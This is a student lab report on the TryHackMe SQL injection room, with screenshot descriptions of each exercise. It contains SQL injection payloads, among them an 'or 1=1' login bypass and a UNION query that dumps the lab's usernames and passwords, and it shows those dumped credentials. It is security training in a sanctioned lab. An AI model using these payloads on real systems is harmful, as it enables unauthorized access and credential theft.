

EX. NO: 4

SQL INJECTION LAB

Rollno:241901058

Aim:

To perform SQL Injection Lab in TryHackMe platform to exploit various vulnerabilities.

ALGORITHM:

1. Access the SQL Injection Lab in TryHackMe platform using the link-
<https://tryhackme.com/r/room/sqlilab>
2. Click Start AttackBox to run the instance of Kalilinux distribution.
3. Perform SQL injection attacks on the following-
 - a) Input Box Non-String
 - b) Input Box String
 - c) URL Injection
 - d) POST Injection
 - e) UPDATE Statement
4. Perform broken authentication of login forms with blind SQL injection to extract admin, password
5. Perform UNION-based SQL injection and exploit the vulnerable book search function to retrieve the flag

OUTPUT:

The screenshot shows a web application interface for a 'Log in' form. The title bar says 'SQL Injection 1: Input Box Non-String'. The form has two input fields: the first contains "'a' or 1=1 --" and the second contains a password. Below the form is a blue 'Log In' button. At the bottom of the page, there's a navigation bar with 'Profile' and 'Logout' links, and a section titled 'Francois's Profile' showing fields like 'Flag', 'Employee ID', 'Salary', 'Passport Number', and 'Nick Name'. To the right of these fields is a 'THM{...}' placeholder followed by a redacted string and some numerical values: '10', 'R250', and '8605255014084'.

Log in

a' or 1=1 --

•

Log in

Profile Logout SQL Injection 2: Input Box String

Francois's Profile

Flag Employee ID Salary Passport Number Nick Name E-mail

THM{[REDACTED]}
10
R250
8605255014084

SQL Injection 3: URL Injection

The account information you provided does not exist!

Log in

ProfileID

Password

Log in

Profile Logout SQL Injection 4: POST Injection

Francois's Profile

Flag Employee ID Salary

THM{[REDACTED]}
10
R250

SQL Injection 5: UPDATE Statement

The screenshot shows a login interface with two input fields and a blue 'Log in' button. The first field contains the value '10'. The second field contains several blue dots. Below the form, a horizontal bar displays navigation links: Home, Edit Profile (which is highlighted with a red border), and Logout. To the right of the bar, the title 'SQL Injection 5: UPDATE Statement' is displayed. Underneath, a section titled 'Francois's Profile' lists employee details: Employee ID (10), Salary (R250), Passport Number (8605255014084), Nick Name, and E-mail.

Broken Authentication : Blind Injection

Login [Main Menu]

Invalid username or password.

The screenshot shows a login interface with two input fields and a blue 'Log in' button. The first field is labeled 'Username' and the second is labeled 'Password'. Below the form, a blue link says 'Create an Account'.

```
' union select '-1''union select  
1,group_concat(username),group_concat(password),4 from users-- -
```

Profile Logout

Book Title 2

Logged in as

```
' union select '-1''union select 1,group_concat(username),group_concat(password),4 from users-- -
```

Title: admin,dev,amanda,maja,emil,sam2
THM{[REDACTED]},asd,Summer2019!,345m3io4hj3,viking123,asd
Author: 4

RESULT:

Thus, the various exploits were performed using SQL Injection Attack.